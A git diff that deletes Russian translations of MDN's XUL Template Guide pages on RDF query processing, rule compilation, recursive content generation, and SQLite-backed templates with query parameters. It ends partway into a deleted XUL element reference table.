-</p><p>Узлы RDF идентифицируются строкой символов. В RDF можно выделить два типа узлов: ресурсы, соответствующие "сущностям", и литералы, обозначающие имена, даты, размеры и другие свойства этих сущностей. Литералом может быть имя человека, например, "Елисей" или "Гарри Поттер". Значением ресурса является URI, выбранный по вашему усмотрению; мы будем использовать значение URI в шаблонах. На приведённом графике URI ресурсов выделены синим цветом на метках узлов. Хотя в данном примере литералы не используются мы будем использовать их позже.
-</p><p>С вашего позволения пусть узел A будет начальным; ему соответствует URI (<span class="nowiki">http://www.xulplanet.com/rdf/A</span>). Используя атрибут 'ref', определим начальную вершину в шаблоне. Например, так:
-</p>
-<pre>&lt;vbox datasources="http://www.xulplanet.com/ds/sample.rdf"
- ref="http://www.xulplanet.com/rdf/A" flex="1"&gt;
-</pre>
-<h3 id=".D0.9E.D0.B1.D1.80.D0.B0.D0.B1.D0.BE.D1.82.D0.BA.D0.B0_.D0.B7.D0.B0.D0.BF.D1.80.D0.BE.D1.81.D0.BE.D0.B2" name=".D0.9E.D0.B1.D1.80.D0.B0.D0.B1.D0.BE.D1.82.D0.BA.D0.B0_.D0.B7.D0.B0.D0.BF.D1.80.D0.BE.D1.81.D0.BE.D0.B2">Обработка запросов</h3>
-<p>Запрос для источника данных RDF состоит из множества утверждений, оформленных как дочерние узлы элемента <code><a href="/ru/docs/Mozilla/Tech/XUL/query" title="query">query</a></code>. При обработке запроса конструктор собирает информацию о возможных результатах, расположении сгенерированого контента, и информацию о поведении в случае изменения содержимого источника данных. Эта информация сохраняется в течение всего жизненного цикла шаблона, до тех пока он не будет построен заново или разрушен. Для поиска требуемой информации конструктор шаблонов использует метод, основанный на алгоритме <a class="external" href="http://en.wikipedia.org/wiki/Rete_algorithm">RETE</a>. Это позволяет обновлять результаты эффективно при изменении структуры графа RDF. Т.е. вместо того, чтобы строить весь граф с самого начала, алгоритм позволяет добавить только некоторые его фрагменты и обновить вывод инкрементно. Схожий алгоритм используется при удалении утверждений RDF.
-</p><p>Не смотря на то, что шаблон хранит множество информации для генерации корректного вывода, нас сейчас интересует информация о возможных результатах. Конструктор начинает, работу, имея всего один возможный начальный результат (seed). После он последовательно обрабатывает условия запроса. Для обработки конкретного условия необходимо рассмотреть все возможные результаты; если результат удовлетворяет условию, то он принимается, в противном случае - отвергается. Для первого условия в качестве возможного результата доступен только начальный (seed). При выполнении последующих шагов могут быть добавлены новые результаты либо иная релевантная информация. Отвергнутые результаты, естественно, будут удалены. После просмотра всех результатов для текущего условия, конструктор переходит к следующему. После обработки всех условий все оставшиеся результаты принимаются в качестве вывода. Они используются для генерации контента. Таким образом, подведём итоги:
-</p>
-<ol><li>Начать работу с одним возможным результатом (seed)
-</li><li>Для всех уже доступных результатов с дополнительными сведениями повторить шаги
-</li><li>Добавить все возможные результаты
-</li><li>Удалить все отвергнутые результаты
-</li><li>Повторить шаги 2-4 для всех условий запроса
-</li><li>По окончанию работы все оставшиеся данные становятся выводом
-</li></ol>
-<p>Все возможные результаты образованы наборами пар переменная-значение. Например, результат будет выглядеть примерно так:
-</p>
-<pre>(?name = Елисей, ?age = 5)
-</pre>
-<p>Здесь имеются две переменные, ?name со значением "Елисей" и ?age со значением 5. Переменные начинаются со знака вопроса, значениями являются либо ресурсы RDF, либо литералы. В данном случае используются литералы, поскольку это более удобочитаемо. Если бы у нас было два результата, они выглядели бы примерно так:
-</p>
-<pre>(?name = Елисей, ?age = 5)
-(?name = Забава, ?age = 12)
-</pre>
-<p>Это обозначение для возможных результатов используется в этом и последующих примерах.
-</p><p>Если у нас будет запрос, удаляющий все результаты, относящиеся к мужчинам, то после его применения результат будет примерно следующим:
-</p>
-<pre>(?name = Забава, ?age = 12, ?gender = Female)
-</pre>
-<p>Таким образом, условие удалило Елисея из потенциальных результатов и добавило переменную ?gender для Забавы. На самом деле, это пример типичного поведения условия запроса: добавить новую переменную к результатам и отсеять те результаты, которые не удовлетворяют условию. Если данное условие было последним в списке, результат Забавы станет конечным выводом.
-</p>
diff --git a/files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/компиляция_правил/index.html b/files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/компиляция_правил/index.html
deleted file mode 100644
index 2d055cf6ff..0000000000
--- a/files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/компиляция_правил/index.html
+++ /dev/null
@@ -1,49 +0,0 @@
----
-title: Компиляция правил
-slug: Mozilla/Tech/XUL/Руководство_по_шаблонам_XUL/Компиляция_правил
-tags:
- - Руководство_по_шаблонам_XUL
-translation_of: Archive/Mozilla/XUL/Template_Guide/Rule_Compilation
----
-<p>Шаблон XUL образован запросом и набором правил. Запрос содержит инструкции для выбора набора данных из их источника. Точный синтаксис зависит от типа источника данных, используемого в шаблоне. Например, для источника Sqlite в качестве запроса используется предложение SQL. Запрос возвращает таблицу результатов с данными, на основании которых впоследствии генерируется вывод. Для источников данных RDF и XML запрос содержит инструкции для обхода вершин графа RDF или дерева XML. Запрос объявляется с помощью тэга <code><a href="/ru/docs/Mozilla/Tech/XUL/query" title="query">query</a></code>, который должен быть размещён прямо под элементом &lt;template&gt; Цель запроса состоит в порождении набора выходных данных.
-</p><p>При использовании упрощённого синтаксиса вы можете опустить элемент &lt;rule&gt;. При этом имеется только одно правило и его употребление подразумевается неявно. С другой стороны, расширенный синтаксис всегда требует наличия элемента &lt;rule&gt;.
-</p><p>Шаблон содержит также набор правил; каждое правило может содержать множество условий для генерации контента. Синтаксис подстановки атрибутов, рассмотренный позже, используется для изменения значения атрибутов элементов, созданных в шаблоне. Каждое правило объявляется с помощью тэга <code><a href="/ru/docs/Mozilla/Tech/XUL/rule" title="rule">rule</a></code>; вы можете объявлять несколько правил. Для каждого результата запроса просматриваются условия, определённые правилом, и если они удовлетворяются, генерируется контент. Для каждого результа запроса применяется только первое согласующееся правило. Например, первое правило может быть применено к результатам, соответствующим книгам, тогда как второе правило может быть применено только к результатам, соответствующим журналам. Таким образом, в зависимости от особенностей результирующих данных может быть сгенерирован различный контент.
-</p><p>Во многих случаях вам будет достаточно одного правила, обрабатывающего все данные одинаковым образом. Например, при создании элементов списка вы, скорее всего, будете использовать всего одно правило. В этом случае элемент <code><a href="/ru/docs/Mozilla/Tech/XUL/rule" title="rule">rule</a></code> необязателен. Шаблон без правил (или с правилом без условий) сгенерирует вывод для каждого набора выходных данных.
-</p><p>Пока что можем представить синтаксис шаблонов примерно таким образом.
-</p>
-<pre>&lt;vbox datasources="http://www.xulplanet.com/ds/sample.rdf"
- ref="http://www.xulplanet.com/rdf/A" flex="1"&gt;
- &lt;template&gt;
- &lt;query&gt;
- -- query content goes here --
- &lt;/query&gt;
- &lt;rule&gt;
- -- rule content goes here --
- &lt;/rule&gt;
- &lt;rule&gt;
- -- rule content goes here --
- &lt;/rule&gt;
- &lt;/template&gt;
-&lt;/vbox&gt;
-</pre>
-<p>Когда конструктор шаблона начинает загрузку и обработку данных, он, прежде всего, должен скомпилировать запрос и правила. Этот шаг включает обработку правил запроса и их преобразование во внутренние структуры. Таким образом, динамическое изменение правил ни на что не влияет, поскольку они уже скомиплированы. Тем не менее, повторная сборка шаблона (с использованием метода builder.rebuild) повторно скомпилирует запрос и правила и применит их для построения шаблона. Это обозначает, что вы можете динамически изменить правила, используя методы объектной модели документа (DOM), повторно собрать шаблон, и получить новый результат.
-</p><p>Когда конструктор шаблонов скомпилировал правила, он может приступать к обработке запросов и генерации контента. Конструктор генерирует контент лениво (lazily), т.е. обрабатывает столько данных, сколько нужно именно сейчас, и продолжает обработку только тогда, когда это действительно необходимо. Давайте, например, рассмотрим следующий пример:
-</p>
-<pre>&lt;vbox datasources="http://www.xulplanet.com/ds/sample.rdf"
- ref="http://www.xulplanet.com/rdf/A" hidden="true"&gt;
- &lt;template&gt;
- ...
- &lt;/template&gt;
-&lt;/vbox&gt;
-</pre>
-<p>Элемент &lt;vbox&gt; скрыт (hidden="true"). Поскольку любой сгенерированный контент всё равно не будет отображён, конструктор шаблонов ничего не делает, откладывая работу "на потом". Если же вы отобразите элемент vbox (hidden="false"), будет вызван конструктор шаблонов и сгенерирован соответствующий контент.
-</p><p>Означает ли это, что шаблоны не могут быть использованы внутри скрытых областей пользовательского интерфейса? Нет, ибо вы можете использовать их и в этом случае. Изменение свойства hidden не является единственным способом вызова конструктора шаблонов и генерации контента. Вызов программного интерфейса объектной модели документа (DOM API), которому необходимо получить доступ к созданному контенту, заставит конструктор генерировать контент. Например, достаточно вызвать код, подобный приведённому ниже, и внутри скрытого элемента vbox конструктор шаблонов создаст контент.
-</p>
-<pre>var length = vbox.childNodes.length;
-</pre>
-<p>Таким образом, запрос на количество дочерних узлов элемента vbox заставит конструктор обработать запрос и вывести контент. И только после окончания работы конструктора может быть вычислено требуемое число элементов.
-</p><p>Всё это должно быть очевидно XUL-разработчику. Решение о том, когда конструктор должен начать работу, принимается автоматически; вам для этого ничего особенного делать не нужно. Тем не менее, есть два случая, когда контент не создаётся автоматически: создание меню и дочерних элементов дерева.
-</p><p>Содержимое меню не генерируется до тех пор, пока оно не открыто. Это имеет смысл, поскольку пользователь не может видеть содержимого меню до тех пор, пока оно не открыто. Тем не менее, это означает также, что использование программного интерфейса объектной модели документа (DOM API), такое как попытка получить количество дочерних узлов элемента, не заставит конструктор шаблонов создать содержимое до тех пор, пока пользователь не отобразит меню. Это на самом деле важная особенность. Это означает, что вы не можете полагаться на возможность получения сгенерированных элементов меню до тех пор, пока оно не открыто. Похожее правило применяется к дочерним элементам дерева. Таким образом, дочерние элементы дерева не генерируются до тех пор, пока пользователь либо скрипт не вызвают раскрытие строки в дереве.
-</p><p>Ленивая генерация прийдётся кстати при работе с меню и деревьями, особенно рекурсивными. Создание дочерних элементов узла дерева, особенно тех, которые не отображаются, - весьма трудоёмкий процесс, поэтому конструктор шаблонов откладывает эту работу на потом.
-</p><p>На самом деле, конструктор ещё более ленив. Если созданный контент сам содержит скрытые дочерние элементы, эти элементы не будут сгенерированы до тех пор, пока это не станет необходимо. При создании дерева контента конструктор обходит дерево и выполняет работу только в том случае, если это действительно необходимо.
-</p>
diff --git a/files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/рекурсивное_генерирование_контента/index.html b/files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/рекурсивное_генерирование_контента/index.html
deleted file mode 100644
index 44f23c389b..0000000000
--- a/files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/рекурсивное_генерирование_контента/index.html
+++ /dev/null
@@ -1,64 +0,0 @@
----
-title: Рекурсивное генерирование контента
-slug: >-
- Mozilla/Tech/XUL/Руководство_по_шаблонам_XUL/Рекурсивное_генерирование_контента
-tags:
- - Руководство_по_шаблонам_XUL
-translation_of: Archive/Mozilla/XUL/Template_Guide/Recursive_Generation
----
-<p>В предыдущем примере конструктор создал во второй строке лишний набор из двух кнопок. Тем не менее, надписи на кнопках во втором наборе отличаются от надписей в первом наборе. Если вы посмотрите на <a>граф</a> снова, вы можете догадаться, почему так происходит. На нём видно, что узлы C и D соединены дугой с меткой relatedItem. Эта лишняя дуга, которой ни имеет ни узел B, ни узел D, и стала причиной создания дополнительного набора кнопок.
-</p><p>После создания контента конструктор повторяет таким же образом процесс и на более нижних уровнях - до тех пор, пока это возможно. Таким образом, можно сказать, что конструктор создаёт контент рекурсивно. Т.е. после создания контента на одном уровне, конструктор выполняет работу на новом уровне - для нового родительского узла и новой начальной вершины. Естественно, родительский узел будет выбран из только что созданного контента, а не из какого-либо внешнего элемента, и начальная вершина будет выбрана среди конечных вершин предыдущего набора конечных вершин. В данном случае родительский узел - это элемент с атрибутом datasources, т.е. &lt;vbox&gt;. Для вложенных результатов родительским узлом станет один из элементов, созданных на предыдущем уровне. Таким образом, после первой итерации имеем:
-</p>
-<pre>&lt;vbox datasources="http://www.xulplanet.com/ds/sample.rdf"
- ref="http://www.xulplanet.com/rdf/A"&gt;
- &lt;template&gt;
- &lt;query&gt;
- &lt;content uri="?start"/&gt;
- &lt;triple subject="?start"
- predicate="http://www.xulplanet.com/rdf/relatedItem"
- object="?relateditem"/&gt;
- &lt;/query&gt;
- &lt;action&gt;
- &lt;hbox uri="?relateditem"&gt;
- &lt;button label="?start"/&gt;
- &lt;button label="?relateditem"/&gt;
- &lt;/hbox&gt;
- &lt;/action&gt;
- &lt;/template&gt;
- &lt;hbox id="http://www.xulplanet.com/rdf/B"&gt;
- &lt;button label="http://www.xulplanet.com/rdf/A"/&gt;
- &lt;button label="http://www.xulplanet.com/rdf/B"/&gt;
- &lt;/hbox&gt;
- &lt;hbox id="http://www.xulplanet.com/rdf/C"&gt;
- &lt;button label="http://www.xulplanet.com/rdf/A"/&gt;
- &lt;button label="http://www.xulplanet.com/rdf/C"/&gt;
- &lt;/hbox&gt;
- &lt;hbox id="http://www.xulplanet.com/rdf/D"&gt;
- &lt;button label="http://www.xulplanet.com/rdf/A"/&gt;
- &lt;button label="http://www.xulplanet.com/rdf/D"/&gt;
- &lt;/hbox&gt;
-&lt;/vbox&gt;
-</pre>
-<p>Для следующей итерации точками вставки контента станут три элемента &lt;hbox&gt;. Тем не менее, поскольку только узел C имеет дополнительный контент, только во второй элемент &lt;hbox&gt; будут вложены дополнительные дочерние элементы.
-</p><p>Для вложенных элементов конструктор обрабатывает запрос как обычно; разве что в качестве начальной точки (seed) вместо атрибута ref используется конечная вершина (end point or member). Причём это значение должно соответствовать атрибуту id подходящего элемента. Вначале обрабатывается узел B:
-</p>
-<pre>(?start = http://www.xulplanet.com/rdf/B)
-</pre>
-<p>После проверяется условие &lt;triple&gt;, однако из узла B не выходит дуга с меткой relatedItem, поэтому результат отбрасывается. Поскольку нет никаких результатов, контента не создаётся. Аналогичная ситуация и с узлом D. Тем не менее, для узла C условие выполняется и к промежуточным результатам добавляется набор данных:
-</p>
-<pre>(?start = http://www.xulplanet.com/rdf/C, ?relateditem = http://www.xulplanet.com/rdf/D)
-</pre>
-<p><img alt="Image:Template-guide-p9.png">
-</p><p>Поскольку имеются результаты, к контенту, соответствующему узлу C, будет добавлена новая информация - согласно инструкциям в блоке action. Поскольку переменная ?start указывает на узел C и переменная ?relateditem указывает на D, будут добавлены кнопки именно с этими надписями. Посмотрите на приведённый рисунок и проверьте это. Теперь контент для узла C выглядит так:
-</p>
-<pre>&lt;hbox id="http://www.xulplanet.com/rdf/C"&gt;
- &lt;button label="http://www.xulplanet.com/rdf/A"/&gt;
- &lt;button label="http://www.xulplanet.com/rdf/C"/&gt;
- &lt;hbox id="http://www.xulplanet.com/rdf/D"&gt;
- &lt;button label="http://www.xulplanet.com/rdf/C"/&gt;
- &lt;button label="http://www.xulplanet.com/rdf/D"/&gt;
- &lt;/hbox&gt;
-&lt;/hbox&gt;
-</pre>
-<p>Рекурсивная природа шаблонов имеет полезное применение при работе с меню и деревьями, позволяя автоматически создавать вложенный контент. Мы узнаем больше о рекурсивных шаблонах позже, а пока что рассмотрим более-менее реалистичный пример.
-</p>
diff --git a/files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/синтаксис_запросов_rdf/index.html b/files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/синтаксис_запросов_rdf/index.html
deleted file mode 100644
index 016a7679c9..0000000000
--- a/files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/синтаксис_запросов_rdf/index.html
+++ /dev/null
@@ -1,59 +0,0 @@
----
-title: Синтаксис запросов RDF
-slug: Mozilla/Tech/XUL/Руководство_по_шаблонам_XUL/Синтаксис_запросов_RDF
-tags:
- - Руководство_по_шаблонам_XUL
----
-<p>Давайте рассмотрим простой запрос с двумя условиями. Каждому условию соответствует дочерний узел элемента &lt;query&gt;.
-</p>
-<pre>&lt;vbox datasources="http://www.xulplanet.com/ds/sample.rdf"
- ref="http://www.xulplanet.com/rdf/A"&gt;
- &lt;template&gt;
- &lt;query&gt;
- &lt;content uri="?start"/&gt;
- &lt;triple subject="?start"
- predicate="http://www.xulplanet.com/rdf/relatedItem"
- object="?relateditem"/&gt;
- &lt;/query&gt;
- &lt;rule&gt;
- ...
- &lt;/rule&gt;
- &lt;/template&gt;
-&lt;/vbox&gt;
-</pre>
-<p>Двум условиям запроса сопоставлены два различных тэга. Конструктор шаблонов ничего не будет создавать до тех пор, пока блок &lt;action&gt; пуст. Тем не менее, он имеет возможность скомпилировать правила; именно этот процесс мы и рассмотрим.
-</p><p>Конструктор начинает работу, имея всего один элемент (seed), который определён тэгом &lt;content&gt;. Он задаёт начальную точку для обхода графа. Ясно, что нужно начинать с чего-то; тэг &lt;content&gt; задаёт эту вершину и поэтому должен быть первым условием запроса. Поскольку мы можем иметь только одну начальную точку, может быть использован только один тэг &lt;content&gt;. Таким образом начальный результат будет выглядеть так:
-</p>
-<pre>(?start = http://www.xulplanet.com/rdf/A)
-</pre>
-<p>Значение переменной ?start определено атрибутом 'uri'. Выбор названия переменной оставлен на ваше усмотрение; как правило, используется название ?uri. Поскольку все правила должны использовать одну и ту же переменную для начальной вершины, назовём её ?start. Она имеет значение '<span class="nowiki">http://www.xulplanet.com/rdf/A</span>'. Обратите внимание на то, что это соответствует значению атрибута ref, указывающего на требуемый начальный узел. Таким образом, переменная ?start становится контейнером (исходной точкой).
-</p><p>Поскольку тэг &lt;content&gt; ничего больше не делает, т.е. не добавляет никакой новой информации, обработчик переходит к следующему условию &lt;triple&gt;
-</p><p>На самом деле, приведённое описание работы шаблона не совсем корректно; во всяком случае, для данной программной реализации этого механизма. Начальный узел (seed) на самом деле - это внутренняя переменная, указывающая на контейнер; в данном случае это элемент &lt;vbox&gt;; переменная ?start получает значение атрибута ref позже, но это лишь деталь реализации, ненамного улучшающая понимание механизма работы шаблонов. Поэтому положим пока что, что имеется лишь один возможный результат.
-</p><p>После анализа содержимого тэга &lt;content&gt; конструктор переходит к следующему условию, &lt;triple&gt;, которое выглядит примерно так:
-</p>
-<pre>&lt;triple subject="?start"
- predicate="http://www.xulplanet.com/rdf/relatedItem"
- object="?relateditem"/&gt;
-</pre>
-<p>Условие &lt;triple&gt; используется для перехода по дугам в графе RDF. Атрибут predicate определяет метку дуги, по которой необходимо перемещаться. В данном случае, он имеет значение '<span class="nowiki">http://www.xulplanet.com/rdf/relatedItem</span>', поэтому конструктор переходит по дугам с этой меткой; он может переходить по направлению, указанному в графе, либо в противоположном направлении, но только в одном направлении для каждого условия. Конструктор сам определяет, в каком направлении необходимо двигаться, в зависимости от того, какие данные известны, а какие нужно найти. Возвращаясь к имеющимся результатам, имеем:
-</p>
-<pre>(?start = http://www.xulplanet.com/rdf/A)
-</pre>
-<p>Как вы помните, начальный узел (seed) был определён условием &lt;content&gt;. Как вы уже, наверное, догадываетесь, конструктор подставляет значение этой переменной в атрибут subject, получая:
-</p>
-<pre>&lt;triple subject="http://www.xulplanet.com/rdf/A"
- predicate="http://www.xulplanet.com/rdf/relatedItem"
- object="?relateditem"/&gt;
-</pre>
-<p>На самом деле, конструктор не изменяет элемент triple, но такая условность упрощает понимание работы шаблона. Конструктор просматривает содержимое атрибутов subject и object элемента triple и пытается найти все переменные, использующие эти данные. Переменная ?start имеет значение '<span class="nowiki">http://www.xulplanet.com/rdf/A</span>', поэтому её значение подставляется в условие. Переменная ?relateditem не имеет никакого значение, поэтому она будет оставлена как есть. После того, как значения переменных подставлены, можно выполнить запрос к графу RDF.
-</p><p>Запрос выявит все дуги, выходящие из вершины '<span class="nowiki">http://www.xulplanet.com/rdf/A</span>' с меткой, соответствующей предикату '<span class="nowiki">http://www.xulplanet.com/rdf/relatedItem</span>'. Поскольку переменная ?relateditem неизвестна, конструктор позволяет в качестве объекта любой узел, и просмотрит в источнике данных все утверждения RDF, удовлетворяющие такому условию. В условии &lt;triple&gt; атрибут subject всегда соответствует узлу, из которого выходит дуга, тогда как атрибуту object соответствует узел, в который дуга входит. В данном случае конструктор будет переходить в стандартном направлении, а не в обратном. Давайте снова посмотрим на наш граф:
-</p><p><img alt="Image:Template-guide-p2.png">
-</p><p>Начиная с вершины A и следуя по дуге relatedItem, можем видеть, что есть три возможных значения для переменной ?relateditem: узлы B, C и D. Это новые данные, поэтому конструктор добавляет их к графу результатов. Поскольку было найдено три узла, набор возможных (промежуточных) результатов выглядит так:
-</p>
-<pre>(?start = http://www.xulplanet.com/rdf/A, ?relateditem = http://www.xulplanet.com/rdf/B)
-(?start = http://www.xulplanet.com/rdf/A, ?relateditem = http://www.xulplanet.com/rdf/C)
-(?start = http://www.xulplanet.com/rdf/A, ?relateditem = http://www.xulplanet.com/rdf/D)
-</pre>
-<p>Вы, должно быть, заметили, что переменная ?start повторяется для каждого результата. Это происходит потому, что конструктор копирует существующие данные для всех промежуточных результатов и добавляет новые данные. Точнее, это не совсем так; конструктор на самом деле использует одну копию результатов, остальные значения - это только ссылки на эту копию.
-</p><p>Это может показаться несколько запутанным, но, когда мы перейдём к рассмотрению примеров, это станет более ясным. Поскольку &lt;triple&gt; был последним условием, конструктор переходит к этапу генерации контента, т.е. будет создано три элемента.
-</p>
diff --git a/files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/шаблоны_на_основе_sqlite/index.html b/files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/шаблоны_на_основе_sqlite/index.html
deleted file mode 100644
index d597289c0f..0000000000
--- a/files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/шаблоны_на_основе_sqlite/index.html
+++ /dev/null
@@ -1,87 +0,0 @@
----
-title: Шаблоны на основе SQLite
-slug: Mozilla/Tech/XUL/Руководство_по_шаблонам_XUL/Шаблоны_на_основе_SQLite
-tags:
- - Руководство_по_шаблонам_XUL
----
-<p>
-</p><p>Шаблоны могут использовать источник данных, получающий информацию из базы данных Sqlite. Это позволяет использовать информацию, полученную из базы данных, для генерации контента XUL. Чтобы сделать это, установите значение атрибута <code id="a-querytype"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/querytype">querytype</a></code> корневого узла шаблона равным <code>storage</code>. Это позволяет рассматривать источник данных как базу данных Sqlite.
-</p><p>Атрибут <code id="a-datasources"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/datasources">datasources</a></code> может быть установленным равным одному из двух возможных типов значений. Во-первых, это может быть URL файла, указывающего на локальный файл. В этом случае, вы, скорее всего, будете устанавливать атрибут <code>datasources</code> динамически, после определения пути к файлу. Во-вторых, вы можете использовать специальную форму url:
-</p>
-<pre>profile:filename.sqlite
-</pre>
-<p>Эта форма, содержащая префикс 'profile' используется для указания на файлы в директории, содержащей параметры пользователя (profile). Это полезно для хранения пользовательских данных, и применимо в том случае, если вам не нужно вычислять, где находится данная директория. Файл, находящийся в этой директории, указан после двоеточия, и в данном случае это 'filename.sqlite'. Файлы базы данных Sqlite имеют, как правило, расширение 'sqlite'.
-</p><p>Точно также, как и с источниками данных на основе XML, атрибут <code id="a-ref"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/ref">ref</a></code> в данное время не используется для источников Sqlite, поэтому вам нужно всего лишь оставить атрибут <code>ref</code> пустым; как правило, для этого используется специальное значение '*'. </p><p>Запрос для источника данных Sqlite представляет из себя просто предложение select языка SQL, как текст внутри элемента <code><a href="/ru/docs/Mozilla/Tech/XUL/query" title="query">query</a></code>. Этот простой пример иллюстрирует, как отобразить список, содержащий значения из одной колонки в таблице из базы данных.
-</p>
-<pre>&lt;listbox datasources="profile:userdata.sqlite" ref="*" querytype="storage"&gt;
- &lt;template&gt;
- &lt;query&gt;
- select name from myfriends
- &lt;/query&gt;
- &lt;action&gt;
- &lt;listitem uri="?" label="?name"/&gt;
- &lt;/action&gt;
- &lt;/template&gt;
-&lt;/listbox&gt;
-</pre>
-<p>Запрос возвращает список значений из колонки 'name' в таблице 'myfriends'. Тело блока action, начинающееся узлом с атрибутом uri="?" повторяется для каждого результата, возвращенного в результате выполнения запроса. Если запрос возвращает шесть результатов, будет создано шесть элементов списка. Атрибут label имеет специальное значение '?name'. Синтаксис, использующий знак вопроса, похож на используемый для других типов запросов. Это обозначает, что каждому атрибуту label будет сопоставлено значение из соответствующей колонки таблицы. В данном случае, значение '?name' обозначает, что необходимо подставить значение из таблицы name. В результате получим список элементов, содержащий имена из базы данных.
-</p><p>Используя более сложные запросы, можно получить значения из нескольких колонок или же данные, выбранные по определённому критерию.
-</p>
-<pre>&lt;vbox datasources="profile:userdata.sqlite" ref="*" querytype="storage"&gt;
- &lt;template&gt;
- &lt;query&gt;
- select name, email from myfriends where age &gt;= 30
- &lt;/query&gt;
- &lt;action&gt;
- &lt;hbox uri="?"&gt;
- &lt;label value="?name"/&gt;
- &lt;label value="?email"/&gt;
- &lt;/hbox&gt;
- &lt;/action&gt;
- &lt;/template&gt;
-&lt;/vbox&gt;
-</pre>
-<p>Этот шаблон отображает данные, полученные из двух колонок. Всякое вхождение знака вопроса в блоке action заменяется на значение из результата запроса. В данном случае он используется дважды: в первый раз для отображения имени и во второй раз для отображения адреса электронной почты. Атрибут <code>uri</code> элемента <code>hbox</code> необходим для одного элемента внутри блока action. Для запросов Sqlite в большинстве случаев это будет самый внешний узел.
-</p><p>Обратите внимание также на то, что запрос содержит оператор where, который выбирает только те строки, для которых значение поля возраст не меньше 30.
-</p>
-<h3 id=".D0.9F.D0.B0.D1.80.D0.B0.D0.BC.D0.B5.D1.82.D1.80.D1.8B_.D0.B7.D0.B0.D0.BF.D1.80.D0.BE.D1.81.D0.B0" name=".D0.9F.D0.B0.D1.80.D0.B0.D0.BC.D0.B5.D1.82.D1.80.D1.8B_.D0.B7.D0.B0.D0.BF.D1.80.D0.BE.D1.81.D0.B0"> Параметры запроса </h3>
-<p>Иногда, вам потребуется динамически изменять запрос в зависимости от определённых критериев. Вы можете использовать простой способ, изменяя текст внутри элемента <code>query</code>, а после перестраивать шаблон. Тем не менее, этот подход может стать громоздким и неповоротливым для более сложных запросов, и может стать источником большого количества ошибок, если для значений не были правильно обработаны специальные символы, такие как лишние кавычки и двоеточия. Это особенно важно, если вы обрабатываете значения, полученные от пользователя.
-</p><p>Простым решением проблемы является использование параметров запросов, используя элемент <code><a href="/ru/docs/Mozilla/Tech/XUL/param" title="param">param</a></code>.
-</p>
-<pre>&lt;query&gt;
- select name, email from myfriends where gender == :wantedgender
- &lt;param name="wantedgender"&gt;male&lt;/param&gt;
-&lt;/query&gt;
-</pre>
-<p>В этом примере используется параметр 'wantedgender'. Прямым потомком элемента <code>query</code> должен быть элемент <code>param</code>. Атрибут <code>name</code> используется для определения имени параметра, а содержимое элемента <code>param</code> определяет используемое значение. Когда имя, предварённое двоеточием, появляется в запросе, такое как ':wantedgender' в вышеприведённом примере, значение этого параметра будет подставлено в запрос. В конечном счёте, используемый запрос выглядит так:
-</p>
-<pre>select name, email from myfriends where gender == 'male'
-</pre>
-<p>При использовании такого приёма, специальные символы, такие как кавычки, обрабатываются автоматически. Если кавычки появляются в запросе, то они будут при необходимости обработаны. Теперь, чтобы настроить запрос для выбора чего-то иного, например, чтобы выбрать информацию, относящуюся к женщинам, всё что нужно сделать - это просто получить ссылку на элемент <code>param</code> и изменить его содержимое. Скорее всего, вы присвоите определённый идентификатор элементу <code>param</code>, чтобы использовать метод <a href="ru/DOM/document.getElementById">getElementById</a> для доступа к нему.
-</p><p>Вы можете добавить столь много параметров, сколько необходимо для выполнения вашего запроса. Пример, приведённый выше использовал строковый параметр. Тем не менее, если вам нужен числовой параметр, вам также потребуется установить значение атрибута <code>type</code>.
-</p>
-<pre>&lt;listbox id="friends" datasources="profile:userdata.sqlite" ref="*" querytype="storage"&gt;
- &lt;template&gt;
- &lt;query&gt;
- select name, from myfriends where age &gt;= :minage &amp;&amp; age &lt;= maxage
- &lt;param id="minage" name="minage" type="integer"&gt;30&lt;/param&gt;
- &lt;param id="maxage" name="maxage" type="integer"&gt;40&lt;/param&gt;
- &lt;/query&gt;
- &lt;action&gt;
- &lt;listitem uri="?" label="?name"/&gt;
- &lt;/action&gt;
- &lt;/template&gt;
-&lt;/listbox&gt;
-</pre>
-<p>В данном случае age - целочисленный параметр, поэтому атрибуту <code>type</code> установлено значение <code>integer</code>. Целые числа представлены 32-битными значениями, но вы можете использовать значение <code>int64</code> для 64-битных целых. Вы можете также использовать специальное значение <code>double</code> для вещественных чисел с двойной точностью. Если же тип не определён, то по умолчанию предполагается, что он строковый.
-</p><p>Позже мы можем изменить значение параметра age, используя простой скрипт:
-</p>
-<pre>function adjustAge(min, max)
-{
- document.getElementById("minage").textContent = min;
- document.getElementById("maxage").textContent = max;
- document.getElementById("friends").builder.rebuild();
-}
-</pre>
-<p>Эта функция принимает два параметра, максимальное и минимальное используемое значения. Мы получаем элементы <code>param</code> и устанавливаем их свойства <a href="ru/DOM/element.textContent">textContent</a> равными требуемому значению. Наконец, мы перестраиваем весь шаблон.
-</p>
diff --git a/files/ru/mozilla/tech/xul/справочник/index.html b/files/ru/mozilla/tech/xul/справочник/index.html
deleted file mode 100644
index ef599ae729..0000000000
--- a/files/ru/mozilla/tech/xul/справочник/index.html
+++ /dev/null
@@ -1,161 +0,0 @@
----
-title: XUL Справочник
-slug: Mozilla/Tech/XUL/Справочник
-tags:
- - XUL
-translation_of: Archive/Mozilla/XUL/XUL_Reference
----
-<p> </p>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <th colspan="3">Перечень всех XUL элементов</th>
- </tr>
- <tr>
- <td>
- <p><a href="/ru/XUL/action">action</a><br>
- <a href="ru/XUL/arrowscrollbox">arrowscrollbox</a><br>
- <a href="ru/XUL/bbox">bbox</a><br>
- <a href="ru/XUL/binding">binding</a><br>
- <a href="ru/XUL/bindings">bindings</a><br>
- <a href="ru/XUL/box">box</a><br>
- <a href="ru/XUL/broadcaster">broadcaster</a><br>
